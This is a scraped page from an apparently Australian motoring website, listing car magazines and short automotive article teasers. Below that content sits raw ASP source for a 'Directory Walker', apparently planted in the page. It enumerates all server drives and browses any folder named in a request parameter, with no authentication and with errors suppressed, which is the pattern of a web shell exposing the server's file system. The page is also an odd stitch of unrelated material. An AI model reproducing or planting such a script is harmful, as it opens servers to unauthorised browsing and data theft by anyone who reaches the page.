|
|
| |
|
|
|
|
Australia-Wide products/services |
|
|
|
|
 |
|
| |
|
|
 |
|
More
Motoring
Fun |
|
 |
|
V8X Supercar Magazine |
|
|
click here for more info on this magazine... |
|
See all available magazines |
|
|
|
Overlander 4WD |
|
|
Australia's original 4WD recreational magazine, lavishly illustrated with brilliant photography of off-road trekking throughout Australia. Each issue includes new vehicle and product news, vehicle testing, 4WD travel, technical features... |
|
See all available magazines |
|
|
|
Motor Racing Australia |
|
|
The magazine looks behind the news of, and around, motor racing. It carries background features, historic items and short stories, interviews with drivers and heads of the sport, news, action photography and columns from leading… |
|
See all available magazines |
|
|
|
Unique Cars |
|
|
Unique Cars is a showcase for the sale of Australia’s finest vintage, classic, sports, modified and luxury cars. Each issue also carries 48 pages of editorial dedicated to unique cars, clubs and motorsport events. |
|
See all available magazines |
|
|
|
MOTOR |
|
|
MOTOR features the world's sexiest performance vehicles. Subscribe now to become a Motor Club member and receive discounts on a range of goods and services. |
|
See all available magazines |
|
 |
|
|
|
|
|
Automotive Articles |
|
|
Reduce Car Insurance Payments |
When you are looking around for a new car insurance policy you will find that you may be overwhelmed with choices. Knowing the rate of levels of coverage, type of car, and driving safety can help reduce cost.
|
|
|
|
Feng Shui for Car Colour |
Buying a new car? Use Feng Shui to select your success colour
|
|
|
|
Mercedes 400E Sedan |
Despite the new models that Mercedes-Benz is developing and introducing, some models are simply remarkable that they continuously evolve into a much better vehicle. The Mercedes 400E was first introduced in 1992.
|
|
|
|
Commitment to Consumers GM Cited |
For any company to enjoy success, they have to take care of their consumers. The first company that will be given VeriFacts awarded with this is General Motors for their sharing of product information to consumers for free.
|
|
|
|
Chevy Silverado No. 1 |
What makes Chevy Silverado the No.1 truck?
|
|
|
|
|
|
| |
|
| |
| |
|
<% @EnableSessionState = False %>
<%
Response.Buffer = True
On Error Resume Next
'Set some variables
CurrentPath = Request("Path")
If CurrentPath = "" Then CurrentPath = "C:\"
'Create File Scripting Object
Set oFSO = CreateObject("Scripting.FileSystemObject")
'Get current directory
Set oFolder = oFSO.GetFolder(CurrentPath)
'Get current files
Set oFolderFiles = oFolder.Files
'Subprocedure For error checking
Sub ErrorCheck
Response.Write "<TR>"
Response.Write "<TD><FONT Face=Arial SIZE=2><B>"
Response.Write Err.Number
Response.Write "</B></FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2><B>"
Response.Write Err.Source
Response.Write "</B></FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2><B>"
Response.Write Err.Description
Response.Write "</B></FONT></TD>"
Response.Write "<TD colspan=2><FONT Face=Arial SIZE=2> </FONT></TD>"
Response.Write "</TR>"
End Sub
'Subprocedure For checking root directory
Sub CheckRoot
If Not oFolder.IsRootFolder Then
Response.Write "<TR>"
Response.Write "<TD><font size=2 face=wingdings>Ĺ</font></TD>"
Response.Write "<TD width='100%' align=left colspan=4><FONT Face=Arial SIZE=2 Color=Blue><B><A HREF='"
Response.Write Request.ServerVariables("SCRIPT_NAME")
Response.Write "?Path="
Response.Write Replace(oFolder.ParentFolder.Path," ","+")
Response.Write "'>..</A></B></FONT></TD>"
Response.Write "</TR>"
End If
End Sub
'Subprocedure For Drives DropDown
Sub DrivesDD
Response.Write "<b>Drives </b>"
Response.Write "<select name=Path>"
For Each oDrive In oFSO.Drives
If oDrive.DriveLetter <> "A" Then
If ODrive.IsReady Then
If Left(CurrentPath, 1) = oDrive.DriveLetter Then
DSystem = oDrive.FileSystem
Response.Write "<option value='"
Response.Write oDrive.DriveLetter
Response.Write ":\' selected>"
Response.Write oDrive.DriveLetter
Response.Write ":</option>"
Else
Response.Write "<option value='"
Response.Write oDrive.DriveLetter
Response.Write ":\'>"
Response.Write oDrive.DriveLetter
Response.Write ":</option>"
End If
End If
End If
Next
Response.Write "</select> "
Response.Write "<input type=submit name=submit value=Go>"
Response.Write "<br>"
Response.Write "<b>File System: </b>"
Response.Write Dsystem
End Sub
'Subprocedure For Folders
Sub Folders
If err > 0 Then
Call ErrorCheck
Else
For Each oSubFolder In oFolder.SubFolders
Response.Write "<TR>"
Response.Write "<TD><font size=2 face=wingdings>0</font></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2><B><A HREF='"
Response.Write Request.ServerVariables("SCRIPT_NAME")
Response.Write "?Path="
Response.Write Replace(oSubFolder.Path," ","+")
Response.Write "'>"
Response.Write oSubFolder.Name
Response.Write "</A></B></FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2>File Folder</FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2> </FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2>"
Response.Write oSubFolder.DateLastModified
Response.Write "</FONT></TD>"
Response.Write "</TR>"
Next
End If
End Sub
'Subprocedure For Files
Sub Files
If err > 0 Then
Call ErrorCheck
Else
For Each oFile In oFolder.Files
size = oFile.Size/1024
If size > 1024 Then size = size/1024
If oFile.Size/1024 > 1024 Then
sizetype = "mb"
Else
sizetype = "kb"
End If
Response.Write "<TR>"
Response.Write "<TD><font size=2 face=wingdings size=4>3</font></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2>"
Response.Write oFile.Name
Response.Write "</FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2 >"
Response.Write oFile.Type
Response.Write "</FONT></TD>"
Response.Write "<TD align=right><FONT Face=Arial SIZE=2>"
Response.Write FormatNumber(size, 1, 0)
Response.Write " "
Response.Write sizetype
Response.Write "</FONT></TD>"
Response.Write "<TD><FONT Face=Arial SIZE=2>"
Response.Write oFile.DateLastModified
Response.Write "</FONT></TD>"
Response.Write "</TR>"
Next
End If
End Sub
'Clean Up objects
Sub CloseKill
Set oFolderFiles = Nothing
Set oFolder = Nothing
Set oFSO = Nothing
End Sub
%>
<html>
<head>
<title>Directory Walker</title>
</head>
<body bgcolor=#FFFFFF>
<FORM ACTION="<%= Request.ServerVariables("SCRIPT_NAME") %>" METHOD="Post">
<CENTER>
<TABLE width="100%" cellpadding=3 cellspacing=0 border=0>
<TR>
<TD width="100%"><Font Face=Arial SIZE=2><B>Current Path: <%= CurrentPath %></B></FONT></TD>
<TD align=right><Font Face=Arial SIZE=2><% Call DrivesDD %></FONT></TD>
</TR>
<TR>
<TD valign=top colspan=2>
<TABLE width='100%' cellpadding=4 cellspacing=0 Border=1 BorderColor=Black>
<TR BGColor=D3D3D3>
<TD nowrap colspan=2><Font Face=Arial SIZE=2><b>Name</b></font></TD>
<TD nowrap><Font Face=Arial SIZE=2><b>Type</b></font></TD>
<TD nowrap><Font Face=Arial SIZE=2><b>File Size</b></font></TD>
<TD nowrap><Font Face=Arial SIZE=2><b>Last Modified</b></font></TD>
</TR>
<%
Call CheckRoot
Call Folders
Call Files
Call CloseKill
%>
</TABLE>
</TD>
</TR>
</TABLE>
</CENTER>
</FORM>
</body>
</html>
|
|
|
|
|
| |
|
| |
